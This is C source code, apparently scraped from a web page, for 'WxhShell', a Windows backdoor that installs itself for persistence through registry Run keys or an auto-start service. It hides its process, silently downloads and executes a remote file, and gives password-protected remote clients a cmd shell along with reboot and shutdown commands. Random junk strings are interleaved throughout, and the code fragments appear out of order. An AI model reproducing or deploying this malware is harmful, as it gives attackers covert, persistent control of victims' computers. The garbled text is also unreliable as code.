]0* aE NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ztmh z_u7 =!q]0# if (!NtQueryInformationProcess) return 0; F2}Fuupb. ybiTWM hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7JBs7LG if(!hProcess) return 0; aC[G_ACwc t$n Jmfzm if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k)-+ZmMOh 0RA#Y(IR CloseHandle(hProcess); B{&W|z{$ L@GICW~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LHA^uuBN} if(hProcess==NULL) return 0; ij0I!ilG4 g@^ y$wt HMODULE hMod; U!q2bF<@ char procName[255]; x
t-s"A unsigned long cbNeeded; @/kI;8 ]:Ep1DIMl if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K9EHT- VQpt1cK* CloseHandle(hProcess); w>j5oz} CWkWW/ZI if(strstr(procName,"services")) return 1; // 以服务启动 "}Om0rB}1 tcj"rV{G return 0; // 注册表启动 =h4uN, } IW!x!~e "<0 !S~] // 主模块 +h"i6`g int StartWxhshell(LPSTR lpCmdLine) "qq$i35x { T+Re1sPr? SOCKET wsl; >
Hv9Xz BOOL val=TRUE; `3\U9ZH23 int port=0; I%r7L struct sockaddr_in door; $/"Ymm#"\Y @`KbzN_h/ if(wscfg.ws_autoins) Install(); =hTJp/L #B~;j5 port=atoi(lpCmdLine); W,[ RB 'S6zk wC] if(port<=0) port=wscfg.ws_port; EM@|^47$ 0bh
6ay4 WSADATA data; r5s{t4 ;Ch if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6<W^T9}v@/ T3oFgzoO if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :epBd3f setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A x8 > door.sin_family = AF_INET; >I@&"&d door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q.$8>) door.sin_port = htons(port); R?)Yh.vi=t OE(y$+L3_I if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D Z*c.|W closesocket(wsl); Vwp>:'Pu return 1; 9e`};DE } ,]0BmlD d3rjj4N"z if(listen(wsl,2) == INVALID_SOCKET) { aU;X&g+_) closesocket(wsl); S*G^U1Sc+ return 1; E|9`J00 } i}8OaX3x Wxhshell(wsl); (.N n|lY<i WSACleanup(); 12#yHsk 1;~sNSTo return 0; W^3 Jg2gE \"ogQnmz } 0"e["q{| =M?+KbTJ3 // 以NT服务方式启动 Z#u{th VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q'S[TFMNE { +Iuu8t DWORD status = 0; } OIe! DWORD specificError = 0xfffffff; ?cWwt~N9 tF,`v{-up serviceStatus.dwServiceType = SERVICE_WIN32; ;L fn&2G serviceStatus.dwCurrentState = SERVICE_START_PENDING; 392(N( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hx+r9w serviceStatus.dwWin32ExitCode = 0; ?a,#p serviceStatus.dwServiceSpecificExitCode = 0; u^SInanw serviceStatus.dwCheckPoint = 0; cu1!WD serviceStatus.dwWaitHint = 0; W[I[Xg& Q3i\`-kbb hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2<UC^vZ if (hServiceStatusHandle==0) return; mQVlE__ub ,1 H|{ < status = GetLastError(); 1ik.|T<f0 if (status!=NO_ERROR) ;rL>{UhG { ?;Sg,.J serviceStatus.dwCurrentState = SERVICE_STOPPED; XS2/U<sd serviceStatus.dwCheckPoint = 0; x$jLB&+ICz serviceStatus.dwWaitHint = 0; F/Js K&& serviceStatus.dwWin32ExitCode = status; rCqwJoC`v serviceStatus.dwServiceSpecificExitCode = specificError; a\m=E#G SetServiceStatus(hServiceStatusHandle, &serviceStatus); =4+2y ' return; y`m0/SOT } ASEKP(]v 3>3t(M| serviceStatus.dwCurrentState = SERVICE_RUNNING; RU/WI<O serviceStatus.dwCheckPoint = 0; =g6~2p=H serviceStatus.dwWaitHint = 0; yD\Kn{ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &^&0,g?To } ?i0u)<H eptw)S-j // 处理NT服务事件,比如:启动、停止 XC<'m{^(m VOID WINAPI NTServiceHandler(DWORD fdwControl) ;C =d(
pY { p5rq>&" switch(fdwControl) /kr|}`#
Z { >P(.yQ8&kL case SERVICE_CONTROL_STOP: u)EtEl7Wq serviceStatus.dwWin32ExitCode = 0; jHT^I
as serviceStatus.dwCurrentState = SERVICE_STOPPED; _t]Q*i0p serviceStatus.dwCheckPoint = 0; z{BgAI, serviceStatus.dwWaitHint = 0; GNHXtu6 { uUp>N^mmVH SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4#W$5_Ny } 7?g({] return; IN6L2/Q case SERVICE_CONTROL_PAUSE: eI`%J3BxR serviceStatus.dwCurrentState = SERVICE_PAUSED; (5`(H.( break; H;a) `R3 case SERVICE_CONTROL_CONTINUE: D
dwFKc& serviceStatus.dwCurrentState = SERVICE_RUNNING; *>aVU' break; @ukL!AV?Y case SERVICE_CONTROL_INTERROGATE: -h|[8UG^b break; |4BD }; oJ5n*[qUI SetServiceStatus(hServiceStatusHandle, &serviceStatus); '_DB0_Dp } GZ5 DI+3 \COoU(" // 标准应用程序主函数 (JOR:
1aT int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z! /_H($ { Yt_tAm 4j+M<g // 获取操作系统版本 ?gAwMP(> OsIsNt=GetOsVer(); =v|$dDz GetModuleFileName(NULL,ExeFile,MAX_PATH); +5O^{Ce6 sw1gpkX // 从命令行安装 &)q>Z!C-l if(strpbrk(lpCmdLine,"iI")) Install(); ^Hf?["m^@ <aFB&Fm // 下载执行文件 ,
DuyPBAms if(wscfg.ws_downexe) { W4qT]m if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EN^L.q9# WinExec(wscfg.ws_filenam,SW_HIDE); Z
*tHZ7b } ~|~ 2B$JeV lGT[6S\as if(!OsIsNt) { Zl#';~9W // 如果时win9x,隐藏进程并且设置为注册表启动 (O:&RAkk7 HideProc(); eGKvzu StartWxhshell(lpCmdLine); kG4])qxC' } xG4 C 6s else 2GigeN|1N if(StartFromService()) LCIe1P2 // 以服务方式启动 USgO`l\}4 StartServiceCtrlDispatcher(DispatchTable); p+nB@fN/ else ae0Mf0<#) // 普通方式启动 R-iWbLD StartWxhshell(lpCmdLine); }#Ji"e $WW7, return 0; bB/fU7<{)u } ~t*_ _Nz?fJ:$@ btC<>(kl& Y2uy@j*N =========================================== /viBJ`-O hG<W*g R4[|f0l}s #8v l2qWbi -idbR[1{? T-s[na(/L " >Wd=+$!I *g'%5i1ed #include <stdio.h> (L1O;~$ #include <string.h> /_(l:q^ #include <windows.h> e9k$5ps #include <winsock2.h> S}/ZHo #include <winsvc.h> Y)S
f; #include <urlmon.h> QUXr#!rPY| XGnC8Be{4 #pragma comment (lib, "Ws2_32.lib") R6GlQ G #pragma comment (lib, "urlmon.lib") hR[_1vuIu ey>tUmt6? #define MAX_USER 100 // 最大客户端连接数 L?(1
[jB4G #define BUF_SOCK 200 // sock buffer T-oUcuQB #define KEY_BUFF 255 // 输入 buffer |BbrB[+ v[ h!Fh@% #define REBOOT 0 // 重启 Rh@UxNy\, #define SHUTDOWN 1 // 关机 8"wavh|g4 ll"6KI'X #define DEF_PORT 5000 // 监听端口 l@<Jp *| ;,KT+!H$ #define REG_LEN 16 // 注册表键长度 4kNSF #define SVC_LEN 80 // NT服务名长度 ^!(tc=sr Q;z'"P // 从dll定义API )Y1+F,C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,I f9w$(z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W\ARCcTQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ))6iVgSE$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kQ6YQsJ.* !*k'3rKOW // wxhshell配置信息 gyMy;}a struct WSCFG { i~DLo3 int ws_port; // 监听端口 Ao9=TC'v$' char ws_passstr[REG_LEN]; // 口令 riglEA[^ int ws_autoins; // 安装标记, 1=yes 0=no bwjLMWEVq char ws_regname[REG_LEN]; // 注册表键名 t/x]vCP,2D char ws_svcname[REG_LEN]; // 服务名 Zq/=uB7Z char ws_svcdisp[SVC_LEN]; // 服务显示名 `g}en%5b\ char ws_svcdesc[SVC_LEN]; // 服务描述信息 2DBFY1[Pk char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5.Nc6$
N int ws_downexe; // 下载执行标记, 1=yes 0=no i[e-dT:*R char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6,p;8I char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /-ewCCzZV Pz' Zn }; F
n*+uk =~$)Ieu // default Wxhshell configuration >ufN[ab struct WSCFG wscfg={DEF_PORT, 4Z{ r "xuhuanlingzhe", N?s5h? 1, 2ZMVYa2%( "Wxhshell", u|ru$cIo "Wxhshell", `=W#owAF "WxhShell Service", [k,FJ5X "Wrsky Windows CmdShell Service", d6e]aO=g "Please Input Your Password: ", LaIH3!M3 1, GmN~e*x>p "http://www.wrsky.com/wxhshell.exe", m&6I@S2 "Wxhshell.exe" BMbZ34^e }; W^9=z~-h (=D^BXtH| // 消息定义模块 kkV*#IZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d
a.6Z!a char *msg_ws_prompt="\n\r? for help\n\r#>"; >D$NEO^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YksJ$yH^ char *msg_ws_ext="\n\rExit."; B}ASZYpW> char *msg_ws_end="\n\rQuit."; rgrsNr:1 char *msg_ws_boot="\n\rReboot..."; 9D& 22hL4 char *msg_ws_poff="\n\rShutdown..."; {F$MZ2 E char *msg_ws_down="\n\rSave to "; G c:oSvm }z wHUf9q1 char *msg_ws_err="\n\rErr!"; MB(l*ju0 char *msg_ws_ok="\n\rOK!"; ! lm0zR
^: V6= char ExeFile[MAX_PATH]; (qy82F-|2 int nUser = 0; naW!Mga HANDLE handles[MAX_USER]; TSYe~)I int OsIsNt; a)M#O\i` OD1>s6uA7 SERVICE_STATUS serviceStatus; vqBT^Q_q; SERVICE_STATUS_HANDLE hServiceStatusHandle; bQ_N^[oxQ 'sAs# // 函数声明 JclG*/Wjg4 int Install(void); cvv(OkC int Uninstall(void); y{uN+QS int DownloadFile(char *sURL, SOCKET wsh); vEb_z[gd int Boot(int flag); 9|LV
x3] void HideProc(void); ! ^U!T\qDi int GetOsVer(void); ]g0\3A int Wxhshell(SOCKET wsl); \bWo"Yo void TalkWithClient(void *cs); 8G
p%Q int CmdShell(SOCKET sock); dI9u:- int StartFromService(void); dpcFS0 int StartWxhshell(LPSTR lpCmdLine); 0RGSv!w f{u3RCfX~2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ejPK-jxCa/ VOID WINAPI NTServiceHandler( DWORD fdwControl ); )3KQ
QGi8 "DNiVL. // 数据结构和表定义 yBwCFn.uP- SERVICE_TABLE_ENTRY DispatchTable[] = r081.< { D|R,$v: {wscfg.ws_svcname, NTServiceMain}, [H2"z\\u {NULL, NULL} g6 T /k7a }; 1W2hd!J7C SAw. 6<Wy- // 自我安装 l?LP:;S int Install(void) Lr`G. e { El`f>o+EJ char svExeFile[MAX_PATH]; aY@st]p HKEY key; C
Ejf&n strcpy(svExeFile,ExeFile); ax+P)yz h"+|)'*n // 如果是win9x系统,修改注册表设为自启动 OQm-BL if(!OsIsNt) { LTc=D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XDrNc!XN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4^rO K RegCloseKey(key); J$Nc9?|ZZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1K'.QRZMb9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7|eD}=jy RegCloseKey(key); 1k! xG$g0 return 0; _;]. } ^qlfdf } P~"`Og+ } A~UDtXN*4 else { PE-P(T3s[8 jI9Kn41 // 如果是NT以上系统,安装为系统服务 Q:~>$5Em5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9&uWj'%ia if (schSCManager!=0) (VzabO { `^7ARr/ SC_HANDLE schService = CreateService ROB/#Td ( 4chSo.= 4V schSCManager, KD5} Nk)t wscfg.ws_svcname, }vLK-Vv wscfg.ws_svcdisp, Vr=c06a2 SERVICE_ALL_ACCESS, U[ $A=e?\Y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N [iv.B SERVICE_AUTO_START, ,5L[M&5 SERVICE_ERROR_NORMAL, $5)ZaYx< svExeFile, HC*V\vz NULL, d,9YrwbD NULL, )cX6o[oia NULL, 4 06.6jmv NULL, _U`_;=( NULL 1"Z61gXrz ); gM<*(=x' if (schService!=0) aZMMcd { p;VHg CloseServiceHandle(schService); L3g}Z1<!$ CloseServiceHandle(schSCManager); s!d"(K9E strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4d*=gy% strcat(svExeFile,wscfg.ws_svcname); H/Fq'FsQB if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ch%-Cg~% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~~_!& RegCloseKey(key); DxLN{g]B return 0; p kR+H| } ?u9JRXj% } >=_Z\ wA CloseServiceHandle(schSCManager); P|OjtI } ,^UNQO*{GI } mzl %h[9iI iYJzSVO return 1; do:3aP'S, } 62X;gb _bO4s#yI // 自我卸载 IW.~I,!x int Uninstall(void) =A,6KY=E { }I\hOL HKEY key; 62 biOea u-a* fT if(!OsIsNt) { n^Qt !~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T*%Q s&x; RegDeleteValue(key,wscfg.ws_regname); A:3:Cr RegCloseKey(key); ^=nJ,-(h_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { : _>/Yd7-& RegDeleteValue(key,wscfg.ws_regname); b'N(eka RegCloseKey(key); 9cu0$P`}5 return 0; Z~VSWrw3 } gt1W_C\ } + W ?
/A] } fr1/9E; else { OI9V'W$ q+/c+u?=^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W7a aL if (schSCManager!=0) :-=,([TJ { vElVw.
P SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zd+_
BPT if (schService!=0) ;MqH)M { cj:!uhZp7 if(DeleteService(schService)!=0) { Ed%8| M3 CloseServiceHandle(schService); 5ap~;t CloseServiceHandle(schSCManager); h] (BTb#- return 0; qd9CKd } mE"?{~XVL CloseServiceHandle(schService); "`Q.z~ } d5zF9;[ CloseServiceHandle(schSCManager); :h>d'+\ } \B'rWk33, } 1%YjY"j+ (1r.AG`g return 1; Khbkv } ab 1qcQ< EPQ~V // 从指定url下载文件 l;I)$=={= int DownloadFile(char *sURL, SOCKET wsh) d85\GEF9i { ?t&sT HRESULT hr; 38wt=0br char seps[]= "/"; +6=2B0$
r char *token; KrhAObK char *file; LeA=*+zP[ char myURL[MAX_PATH]; a$7}_kb char myFILE[MAX_PATH]; ?G[<~J3-E @?A39G{ strcpy(myURL,sURL); f3>8ZB4 token=strtok(myURL,seps); f#RI&I\ while(token!=NULL) Mt@P}4 { ?d*0-mhQ, file=token; GUJaeFe token=strtok(NULL,seps); Y!VYD_'P } O'~c;vBI Md9b_&' GetCurrentDirectory(MAX_PATH,myFILE); smpz/1U strcat(myFILE, "\\"); :HrD[KT strcat(myFILE, file); v(vLk\K7 send(wsh,myFILE,strlen(myFILE),0); *TpzX
y send(wsh,"...",3,0); gHLBtl/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vV.TK_y if(hr==S_OK) [Yx)`e return 0; fI2/v<[ else 0W|}5(C return 1; a}Db9 = =#@eDm% } #Y3:~dmJ- ,"PKGd]^ // 系统电源模块 47R4gs#W int Boot(int flag) 8*nl Wl9qo { /YbyMj* HANDLE hToken; oaI|A^v TOKEN_PRIVILEGES tkp; aI$D
qnF4 lF]cUp#< if(OsIsNt) { U2*g9Es OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?*}^xXI/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /P*mF^Y tkp.PrivilegeCount = 1; #"^F:: b- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VZ?"yUZ Id AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oyGO!j if(flag==REBOOT) { 4WV'\R+m if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W?;kMGW- return 0; UXz0HRRS0 } B!|<<;Da6 else { ~c>* 3* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -jc8ku3* return 0; (3YI> /# } ;\@co5.= } olNgtSX else { T~%}(0=m if(flag==REBOOT) { =9UR~-`d\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3siWq9. return 0; rO]7g } @V/Lqia else { ?)$+W+vK if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lsV9-)yyl return 0; lW^bn(_gQ } \Kph?l9Ww } V[<]BOM\v s)#8>s - return 1; {{b&l! } RbUhLcG5 0n25{N // win9x进程隐藏模块 0f.rjd void HideProc(void) _jV(Gv' { G.2ij%Zz <}~`YU>=v HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !`8WNY?K if ( hKernel != NULL ) #}50oWE { K1rF;7Y6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u<x2"0f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }cK<2J# FreeLibrary(hKernel); .\kcWeC\ }
2BLcun 7\sJ=* return; `=A*ei5 } c+l1#[Dnc DPuz'e* // 获取操作系统版本 (VYY-%N` int GetOsVer(void) zGrUl|j { hLyD#XCFA OSVERSIONINFO winfo; 6Q<^,`/T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [AzQP!gi GetVersionEx(&winfo); i{8T 8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r<]Db&k
return 1; M)Iu' else aRBTuLa)fo return 0; ^dB~#A1 } [KA&KI^hF 7 jq?zS| // 客户端句柄模块
5Xn+cw* int Wxhshell(SOCKET wsl) }."3&u't { fsU6o4 SOCKET wsh; G%
wVQ|1 struct sockaddr_in client; 7XKPC+)1ya DWORD myID; Vv=/{31 AV0m31b while(nUser<MAX_USER) %T]NM3|U { IwC4fcZX6 int nSize=sizeof(client); 0be1aY;m& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8spoDb.S if(wsh==INVALID_SOCKET) return 1; 2@``=0z =M"H~;f] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `UFRv if(handles[nUser]==0) *vn^
W closesocket(wsh); ]>R|4K_ else yT Pi/=G nUser++; (are2!Oq } !w['@x. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qq;` 9-&j 8'Dp3x^W> return 0; lWS@<j } c"OBm# aC0[ OmbG // 关闭 socket y2k'^zE void CloseIt(SOCKET wsh) jU2Dpxkt { %Gp%l closesocket(wsh); Jz D
Mx? nUser--; W:q79u yX ExitThread(0); gakmg#ki } qms+s~oA QFOmnbJg // 客户端请求句柄 {6%vmMbJ void TalkWithClient(void *cs) Fj\}&H*+ { YUo{e=m| 7a_pO1MBL SOCKET wsh=(SOCKET)cs; |;2Y|>= char pwd[SVC_LEN]; {UpHHH:X# char cmd[KEY_BUFF]; -<kl d+ char chr[1]; 2Y_ `& int i,j; @xKLRw !'>(r K$ while (nUser < MAX_USER) { 4`lt 4L &V7@ TZ if(wscfg.ws_passstr) { }} cz95 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E~?0Yrm F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "dfq //ZeroMemory(pwd,KEY_BUFF); "p>$^ i=0; NNZ%jJy?=, while(i<SVC_LEN) { ":E^&yQ _E eH // 设置超时 \u@4eBAV fd_set FdRead; [(v?Z`cX\ struct timeval TimeOut; %2Q:+6) FD_ZERO(&FdRead); OjxaA[$ FD_SET(wsh,&FdRead); 2XhtK TimeOut.tv_sec=8; sg"J00 TimeOut.tv_usec=0; O9OD[VZk int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K*;e>{p if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :.kc1_veYS w~J 7|8Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;h[p " pwd=chr[0]; oh+Q}Fa: if(chr[0]==0xd || chr[0]==0xa) { 8wGq:@#= pwd=0; vK2sj1Hzr break; ~l$u~:4Ob } nR)/k,3W i++; 1e`/N+6u } x`8rR;N! >|%dN
jf@Q // 如果是非法用户,关闭 socket RUcpdeo if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5/j7 C> } hwF9LD~^ UhuEE send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3xS+Pu\) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); utIR\e#:B :V1ttRW}52 while(1) { eliT<sw8 _t<D~ ZeroMemory(cmd,KEY_BUFF); N
]/N}b q$)$?" // 自动支持客户端 telnet标准 gL%%2 }$ j=0; i0`<`qSQh while(j<KEY_BUFF) { ~(E.$y7P if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }{>)2S cmd[j]=chr[0]; j8p</gd if(chr[0]==0xa || chr[0]==0xd) { nn>1OO cmd[j]=0; ""cnZZ5) break; a12Q/K } m0xL'g6F j++; <CrNDY } u6o:~=WwM *`~
woF // 下载文件 dQUZ11 if(strstr(cmd,"http://")) { X0<qG send(wsh,msg_ws_down,strlen(msg_ws_down),0); P:GAJ->;]> if(DownloadFile(cmd,wsh)) *^j'G^n send(wsh,msg_ws_err,strlen(msg_ws_err),0); R `}C/'Ty else 7_Yxz$m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I&9_F%rX } P{YUW~ else { !u@XEN>/ KU,KEtf switch(cmd[0]) { O
<;Au|>* kTQ.7mo/\' // 帮助 USgZ%xk2 case '?': { ^0A}iJL send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9Q{-4yF9k break; y V=Ku } p=F!)TnJN // 安装 BJGL &N case 'i': { 5,/rh,? if(Install()) 3m
RP.<= send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dep.Qfv{- else tHF-OarUO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yW::` break; j8k5B" } L?~>eT // 卸载 12
y=Eh case 'r': { Dq=&K,5; if(Uninstall()) Y,1ZvUOB send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y+il>.Z else Cjh0 .{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a!UQ]prT break; )8`7i{F } y|r+< // 显示 wxhshell 所在路径 R*Jnl\?>@ case 'p': { W?y7mw_S char svExeFile[MAX_PATH]; wOW#A}m'vj strcpy(svExeFile,"\n\r"); `SDpOqfIrP strcat(svExeFile,ExeFile); a]0B{ send(wsh,svExeFile,strlen(svExeFile),0); bf1Tky=/ break; ODvlix } U^qQ((ek // 重启 p
mv6m case 'b': { 0,1x-
yD send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W5C8$Bqm if(Boot(REBOOT)) {wUbr ^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); !O;su~7
else { Q;9-aZ.H closesocket(wsh); G- _h 2 ExitThread(0); #G</RYM~m } L`sg60z break; Po(Y',xI[ } &BF97%E2 // 关机 :bBLP7eyV case 'd': { JmMB=}
< send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
Xe ;Eu if(Boot(SHUTDOWN)) ;<=Z\NX send(wsh,msg_ws_err,strlen(msg_ws_err),0); R/!lDv!
else { g]kM7,/M closesocket(wsh); e6?iQ0 ExitThread(0); K1`Z}k_p. } Ynn:, break; 54[#&T$S } Sq#AnD6To // 获取shell e}@VR<h case 's': { pe}mA}9U CmdShell(wsh); YUGE>"{ closesocket(wsh); fU/&e^,
's ExitThread(0); n $Nw/Vm break; r"E%U:y3P } \<e? // 退出 @;\2 PD case 'x': { .AB n$ml] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8'K~+L=} CloseIt(wsh); u^6@!M break; \[\4= !v } *}F>c3x] // 离开 (Dat`: case 'q': { 3H^0v$S send(wsh,msg_ws_end,strlen(msg_ws_end),0); F747K);_ closesocket(wsh); BZJ\tPSR WSACleanup(); =g.R?H8cj5 exit(1); o7gYj\ break; w\V1pu^6@ } h#hx(5"6 } T]er_n } /Pbytu);ds ON(OYXj // 提示信息 -FOn%7r#Y if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RB\
Hl } K#"J8h;x } uez"{ _I b]0]*<~y return; LDDgg
u
} 9f(0
qa DB~3(r?K // shell模块句柄 +N6IdDN3 int CmdShell(SOCKET sock) _+sb~ {
%wFz4: STARTUPINFO si; [c^!;YBp) ZeroMemory(&si,sizeof(si)); N F$k~r si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QJ
i5 H si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (6}[y\a+ PROCESS_INFORMATION ProcessInfo; h 8%(,$* char cmdline[]="cmd"; &9+]{jXF CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZZs@P#] return 0; us5<18M5 } Fe[)-_%G h6CAd-\x\ // 自身启动模式 !Y8+Z&^2 int StartFromService(void) GyC/39<P { F_U9;*f] typedef struct IZ/PZ"n_( { Gye84C2E= DWORD ExitStatus; I`~Giz7@ DWORD PebBaseAddress; ^ABtg# DWORD AffinityMask; >^=;b5I2K DWORD BasePriority; 1+F0$<e} ULONG UniqueProcessId; G?M<B~} ULONG InheritedFromUniqueProcessId; (jyT9'*wAT } PROCESS_BASIC_INFORMATION; zAW+!C. H]P*!q`Ko PROCNTQSIP NtQueryInformationProcess; elqm/u bI-uF8" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AZ9;6Df static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CL|d> "[QQ(]={ HANDLE hProcess; uGmv`R_ PROCESS_BASIC_INFORMATION pbi; c$.Zg= N&uRL_X. HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3 < |